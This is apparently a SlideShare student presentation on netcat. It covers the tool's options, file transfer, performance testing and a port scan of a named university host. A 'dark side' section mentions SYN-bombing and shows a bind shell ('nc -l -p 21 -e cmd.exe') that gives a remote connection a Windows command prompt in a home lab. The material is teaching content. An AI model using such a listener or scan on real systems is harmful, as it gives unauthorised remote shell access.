SlideShare a Scribd company logo
netcat
Purpose of Presentation…?
 Analyze the network
 Identify the network security issues
How to do it …?
First Step  Research the Network
Tools for Research
 Information Gathering tools
 Forensic tools
 Network Utility tools
 Password Auditing tools
 Recovery And Restoration Tools
 Vulnerability Scanning & Analysis tools
What is netcat ?
 Swiss Army Knife of Network
 A versatile network Utility tool
 Uses TCP and UDP protocol
 Designed as a backend tool
Can be used directly
Driven by other programs
Power of netcat
 Can create Outbound or Inbound
connections TCP or UDP to or from any
ports
 Full DNS forward reverse checking
 Can use any local port
 Can use any locally configured network
address
 Port scanning with randomizer
 Option to let other program service
establish connections
 Optional telnet responder
How Do I use netcat ?
 General form of usage is
nc [switches] [hostname] [portnumber]
 Simplest Usage would be
nc –v www.msn.com 80
Use GET method GET / HTTP/1.0
 Hostname can be a name or IP
Address
 Use of –n switch
 If not specified performs forward and reverse
DNS look up
 Reports the problem of mismatched names in
DNS
D:toolsnc>nc -v www.hotmail.com 80
DNS fwd/rev mismatch: www.hotmail.com != hotmail.se
DNS fwd/rev mismatch: www.hotmail.com !=
ld.cb.msn.com
DNS fwd/rev mismatch: www.hotmail.com !=
ld.cb.msn.com
www.hotmail.com [207.68.171.233] 80 (http) open
IF specified will take only IPAddress as hostname
argument
Options
 -v
Controls the verbosity level
 -w <seconds>
Sets the network inactivity timeout
 -p <port number>
Binds the connection to specific port
number
Options
 -o <file name>
To obtain hexdump file of data sent
either way
 -l
Makes netcat wait for inbound
connections
And once connection is established it
transfers the data
Interesting -l
 Can use to create like a listening
netcat server
 On listening end
D:toolsnc>nc –l -p 1234 < test.txt
 On client end
D:toolsnc>nc 192.168.0.100 1234
Options
 -L
Listen harder
 -r
Randomize port numbers
 -z
Zero – I/O mode [used in scanning]
Options
 -e <program name>
Allows to execute a program
(dangerous)
 -d
Allows to run in detached mode
without console window
 -u
Makes a UDP connection instead of
TCP connection
Options
 -s <address>
Local source address
 -i <seconds>
Specifies delay interval for lines sent
or ports scanned
 -t
Answer telnet negotiation
Put the Knife to Use
 Use It GOOD
 Use It BAD
USE IT GOOD
 Port Scanning
Find what is out there
• nc –v –w 5 –r davinci.newcs.uwindsor.ca 20-30
D:toolsnc>nc -v -w 5 -r davinci.newcs.uwindsor.ca 20-30
davinci.newcs.uwindsor.ca [137.207.76.3] 22 (?) open
SSH-2.0-Sun_SSH_1.0
davinci.newcs.uwindsor.ca [137.207.76.3] 28 (?) open
davinci.newcs.uwindsor.ca [137.207.76.3] 20 (ftp-data) open
davinci.newcs.uwindsor.ca [137.207.76.3] 23 (telnet) open
internet2 proxy-telnet [v3.1] ready
√☺Please enter your userid: davinci.newcs.uwindsor.ca [137.207.76.3] 24 (?)
open
davinci.newcs.uwindsor.ca [137.207.76.3] 30 (?) open
davinci.newcs.uwindsor.ca [137.207.76.3] 25 (smtp) open
220-Sendmail 8.6.12/8.6.12 ready on internet2
220 ESMTP spoken here
davinci.newcs.uwindsor.ca [137.207.76.3] 26 (?) open
davinci.newcs.uwindsor.ca [137.207.76.3] 29 (?) open
davinci.newcs.uwindsor.ca [137.207.76.3] 27 (?) open
davinci.newcs.uwindsor.ca [137.207.76.3] 21 (ftp) open
220- internet2 proxy-ftp [v3.1] ready
220 Please enter your userid
D:toolsnc>
USE IT GOOD
 Simple Data Transfer Agent
Immaterial which side is server and
which side is client
Input at one goes as output to another
 HEX Dump Feature
Can be used to analyze odd network
protocols
USE IT GOOD
 Performance Testing
 Generate large amount of useless data on
network with server on one end and client on
other end we can use it to test network
performance.
 Protect your workstations X server
DARK SIDE
 Scanning for vulnerable services
Can use files as input to netcat and
scan the system by using –i and –r
switches
 Can use –e option to execute
programs
 SYN-Bombing
Can disable TCP servers
EXAMPLE
 Listen on port 21 (FTP Port) using
netcat with –e switch to execute
cmd.exe
 FTP request made from a different
machine on the listener machine
RESULT
D:toolsnc>nc -l -p 21 -e cmd.exe
LISTENER
C:Documents and SettingsRAJAT>ftp 192.168.0.100
Connected to 192.168.0.100.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
D:toolsnc>
Request
Environment
 Local Home Network
ISP --- Cogeco
Three PC’s OS Windows XP
Connected via DLink Router
Cat 5 connecting cables used
Conclusion
 Netcat is a very useful network utility
tool
 Very light but extremely effective
 Particularly when it can listen and
execute programs when connection
requests are made on the specific
ports
Credits
 Chris Wysopal
 Hobbit
 www.atstake.com
THANK YOU

More Related Content

PPTX
Network Penetration Testing
PPTX
Ethical Hacking - sniffing
PPT
Intrusion Detection And Prevention
PPTX
Ettercap
PDF
Introduction IDS
PPTX
Password sniffing
PPT
Intrusion Detection System
PPTX
Intrusion detection
Network Penetration Testing
Ethical Hacking - sniffing
Intrusion Detection And Prevention
Ettercap
Introduction IDS
Password sniffing
Intrusion Detection System
Intrusion detection

What's hot (20)

PPTX
PPTX
Wireless network security
PPTX
PPTX
PDF
Hacking With Nmap - Scanning Techniques
PPTX
Bypass pfsense
PPTX
Packet sniffing
PDF
Nmap basics
PPTX
Metasploit
PDF
Wireshark Tutorial
PPTX
Understanding NMAP
PPTX
Metasploit framwork
PDF
Understanding Open vSwitch
PPTX
Burp suite
PPTX
Introduction To Vulnerability Assessment & Penetration Testing
PPTX
Introduction to penetration testing
PPTX
Wi Fi Security
PPTX
Vulnerability assessment and penetration testing
PPTX
Nmap and metasploitable
PPTX
Linux privilege escalation
Wireless network security
Hacking With Nmap - Scanning Techniques
Bypass pfsense
Packet sniffing
Nmap basics
Metasploit
Wireshark Tutorial
Understanding NMAP
Metasploit framwork
Understanding Open vSwitch
Burp suite
Introduction To Vulnerability Assessment & Penetration Testing
Introduction to penetration testing
Wi Fi Security
Vulnerability assessment and penetration testing
Nmap and metasploitable
Linux privilege escalation
Ad

Viewers also liked (15)

PPTX
Introduction AMAP Technology - extending shelf life of fresh cut produce
PDF
Oscp preparation
PDF
RunDeck
PPTX
Hacker tooltalk: Social Engineering Toolkit (SET)
PPTX
Honeypots
PPT
Wireshark Inroduction Li In
PPTX
Kali Linux
PDF
My pwk & oscp journey
PPTX
Social Engineering
PPT
PPTX
Bugzilla
PDF
Metasploit for Penetration Testing: Beginner Class
PDF
Rundeck & Ansible
PPTX
Web application Security tools
PPT
Introduction to Python
Introduction AMAP Technology - extending shelf life of fresh cut produce
Oscp preparation
RunDeck
Hacker tooltalk: Social Engineering Toolkit (SET)
Honeypots
Wireshark Inroduction Li In
Kali Linux
My pwk & oscp journey
Social Engineering
Bugzilla
Metasploit for Penetration Testing: Beginner Class
Rundeck & Ansible
Web application Security tools
Introduction to Python
Ad

Similar to Netcat (20)

PPTX
NetCat - the suiss army knife of network
PDF
Netcat - 101 Swiss Army Knife
PDF
Netcat 101 by-mahesh-beema
PPTX
Netcat - A Swiss Army Tool
PDF
Ch 5: Port Scanning
PDF
Network Penetration Testing Toolkit - Nmap, Netcat, and Metasploit Basics
PPTX
Netcat Windowschatting and backdoor 1.pptx
PDF
Debugging applications with network security tools
PDF
Netcat cheat sheet
PDF
Cheatsheet: Netcat
PPT
Module 3 Scanning
PPTX
4-2.Scanning and Enumeration Presentation Slides (1).pptx
PPTX
DC612 Day - Hands on Penetration Testing 101
PDF
Network Security Testing Tools
PPTX
06- 1 Active Information Gathering part 1.pptx
DOCX
Assessment Questions and Answers1. What are the diff.docx
PPT
Nmap(network mapping)
PPT
Nomura UCCSC 2009
PPTX
BSIDES-PR Keynote Hunting for Bad Guys
NetCat - the suiss army knife of network
Netcat - 101 Swiss Army Knife
Netcat 101 by-mahesh-beema
Netcat - A Swiss Army Tool
Ch 5: Port Scanning
Network Penetration Testing Toolkit - Nmap, Netcat, and Metasploit Basics
Netcat Windowschatting and backdoor 1.pptx
Debugging applications with network security tools
Netcat cheat sheet
Cheatsheet: Netcat
Module 3 Scanning
4-2.Scanning and Enumeration Presentation Slides (1).pptx
DC612 Day - Hands on Penetration Testing 101
Network Security Testing Tools
06- 1 Active Information Gathering part 1.pptx
Assessment Questions and Answers1. What are the diff.docx
Nmap(network mapping)
Nomura UCCSC 2009
BSIDES-PR Keynote Hunting for Bad Guys

Netcat

  • 2. Purpose of Presentation…?  Analyze the network  Identify the network security issues How to do it …? First Step  Research the Network
  • 3. Tools for Research  Information Gathering tools  Forensic tools  Network Utility tools  Password Auditing tools  Recovery And Restoration Tools  Vulnerability Scanning & Analysis tools
  • 4. What is netcat ?  Swiss Army Knife of Network  A versatile network Utility tool  Uses TCP and UDP protocol  Designed as a backend tool Can be used directly Driven by other programs
  • 5. Power of netcat  Can create Outbound or Inbound connections TCP or UDP to or from any ports  Full DNS forward reverse checking  Can use any local port  Can use any locally configured network address  Port scanning with randomizer  Option to let other program service establish connections  Optional telnet responder
  • 6. How Do I use netcat ?  General form of usage is nc [switches] [hostname] [portnumber]  Simplest Usage would be nc –v www.msn.com 80 Use GET method GET / HTTP/1.0  Hostname can be a name or IP Address
  • 7.  Use of –n switch  If not specified performs forward and reverse DNS look up  Reports the problem of mismatched names in DNS D:toolsnc>nc -v www.hotmail.com 80 DNS fwd/rev mismatch: www.hotmail.com != hotmail.se DNS fwd/rev mismatch: www.hotmail.com != ld.cb.msn.com DNS fwd/rev mismatch: www.hotmail.com != ld.cb.msn.com www.hotmail.com [207.68.171.233] 80 (http) open IF specified will take only IPAddress as hostname argument
  • 8. Options  -v Controls the verbosity level  -w <seconds> Sets the network inactivity timeout  -p <port number> Binds the connection to specific port number
  • 9. Options  -o <file name> To obtain hexdump file of data sent either way  -l Makes netcat wait for inbound connections And once connection is established it transfers the data
  • 10. Interesting -l  Can use to create like a listening netcat server  On listening end D:toolsnc>nc –l -p 1234 < test.txt  On client end D:toolsnc>nc 192.168.0.100 1234
  • 11. Options  -L Listen harder  -r Randomize port numbers  -z Zero – I/O mode [used in scanning]
  • 12. Options  -e <program name> Allows to execute a program (dangerous)  -d Allows to run in detached mode without console window  -u Makes a UDP connection instead of TCP connection
  • 13. Options  -s <address> Local source address  -i <seconds> Specifies delay interval for lines sent or ports scanned  -t Answer telnet negotiation
  • 14. Put the Knife to Use  Use It GOOD  Use It BAD
  • 15. USE IT GOOD  Port Scanning Find what is out there • nc –v –w 5 –r davinci.newcs.uwindsor.ca 20-30
  • 16. D:toolsnc>nc -v -w 5 -r davinci.newcs.uwindsor.ca 20-30 davinci.newcs.uwindsor.ca [137.207.76.3] 22 (?) open SSH-2.0-Sun_SSH_1.0 davinci.newcs.uwindsor.ca [137.207.76.3] 28 (?) open davinci.newcs.uwindsor.ca [137.207.76.3] 20 (ftp-data) open davinci.newcs.uwindsor.ca [137.207.76.3] 23 (telnet) open internet2 proxy-telnet [v3.1] ready √☺Please enter your userid: davinci.newcs.uwindsor.ca [137.207.76.3] 24 (?) open davinci.newcs.uwindsor.ca [137.207.76.3] 30 (?) open davinci.newcs.uwindsor.ca [137.207.76.3] 25 (smtp) open 220-Sendmail 8.6.12/8.6.12 ready on internet2 220 ESMTP spoken here davinci.newcs.uwindsor.ca [137.207.76.3] 26 (?) open davinci.newcs.uwindsor.ca [137.207.76.3] 29 (?) open davinci.newcs.uwindsor.ca [137.207.76.3] 27 (?) open davinci.newcs.uwindsor.ca [137.207.76.3] 21 (ftp) open 220- internet2 proxy-ftp [v3.1] ready 220 Please enter your userid D:toolsnc>
  • 17. USE IT GOOD  Simple Data Transfer Agent Immaterial which side is server and which side is client Input at one goes as output to another  HEX Dump Feature Can be used to analyze odd network protocols
  • 18. USE IT GOOD  Performance Testing  Generate large amount of useless data on network with server on one end and client on other end we can use it to test network performance.  Protect your workstations X server
  • 19. DARK SIDE  Scanning for vulnerable services Can use files as input to netcat and scan the system by using –i and –r switches  Can use –e option to execute programs  SYN-Bombing Can disable TCP servers
  • 20. EXAMPLE  Listen on port 21 (FTP Port) using netcat with –e switch to execute cmd.exe  FTP request made from a different machine on the listener machine
  • 21. RESULT D:toolsnc>nc -l -p 21 -e cmd.exe LISTENER C:Documents and SettingsRAJAT>ftp 192.168.0.100 Connected to 192.168.0.100. Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. D:toolsnc> Request
  • 22. Environment  Local Home Network ISP --- Cogeco Three PC’s OS Windows XP Connected via DLink Router Cat 5 connecting cables used
  • 23. Conclusion  Netcat is a very useful network utility tool  Very light but extremely effective  Particularly when it can listen and execute programs when connection requests are made on the specific ports
  • 24. Credits  Chris Wysopal  Hobbit  www.atstake.com